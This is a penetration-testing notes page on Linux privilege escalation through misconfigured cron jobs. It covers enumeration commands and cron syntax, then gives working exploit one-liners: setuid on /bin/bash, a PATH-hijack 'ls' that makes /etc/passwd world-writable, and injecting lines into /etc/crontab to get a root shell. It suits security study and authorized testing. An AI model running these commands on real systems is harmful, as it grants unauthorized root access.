> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/linux/corntab.md).

# Corntab

`cron` is a time-based job scheduler in Unix-like operating systems. It allows tasks (cron jobs) to be scheduled to run automatically at specified times or intervals. Misconfigured cron jobs may be abused by attackers to escalate privileges, particularly if jobs are executed with elevated privileges and allow for user manipulation.

***

### Enumerating Cron Jobs

#### View Current User's Crontab

```bash
crontab -l
```

#### List All User Crontabs (Root Required)

```bash
ls -la /var/spool/cron/crontabs/
```

#### View System-Wide Cron Jobs

```bash
cat /etc/crontab
```

#### List Periodic Cron Job Scripts

```bash
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
```

#### View System Cron Directory Jobs

```bash
ls -la /etc/cron.d/
```

***

### Cron Syntax Format

A typical cron entry in `/etc/crontab`:

```
* * * * * user command
```

Field Breakdown:

* Minute (0–59)
* Hour (0–23)
* Day of month (1–31)
* Month (1–12)
* Day of week (0–6; Sunday = 0)
* User (who executes the command)
* Command to be executed

**Example:**

```bash
*/5 * * * * root /usr/local/bin/backup.sh
```

This command runs `/usr/local/bin/backup.sh` as `root` every 5 minutes.

***

## Privilege Escalation Scenarios

### Writable Script Executed by Root

If a cron job executes a script with `root` privileges and that script is writable by a low-privileged user, it may be modified to escalate privileges.

**Example:**

```bash
* * * * * root /usr/local/bin/backup.sh
```

**Exploit:**

```bash
echo 'chmod +s /bin/bash' >> /usr/local/bin/backup.sh
```

Once the cron job runs:

```bash
/bin/bash -p
```

This provides a root shell using the setuid bit.

***

### Writable Directory in `$PATH`

If a cron job uses a command without a full path and a writable directory (e.g., `/tmp`) exists in the `$PATH`, an attacker can inject a malicious binary.

**Example Cron Job:**

```bash
* * * * * root ls > /backup/ls_output.txt
```

**Exploit:**

```bash
echo "chmod 777 /etc/passwd" > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
```

Once executed, the cron job runs the malicious `ls` in `/tmp`.

***

### Writable Cron Job File

If a user can write to a root-owned cron file (e.g., `/etc/crontab` or files in `/etc/cron.d/`), they can inject a cron job for privilege escalation.

**Exploit:**

```bash
echo "* * * * * root /bin/bash -c 'chmod +s /bin/bash'" >> /etc/crontab
```

Wait for the job to run and execute:

```bash
/bin/bash -p
```

***

### Monitoring Cron Jobs

#### Tool: [pspy](https://github.com/DominicBreuker/pspy)

`pspy` is a CLI tool that allows you to see commands executed by other users (e.g., root) in real-time—ideal for detecting cron jobs and watching for process execution without needing root permissions.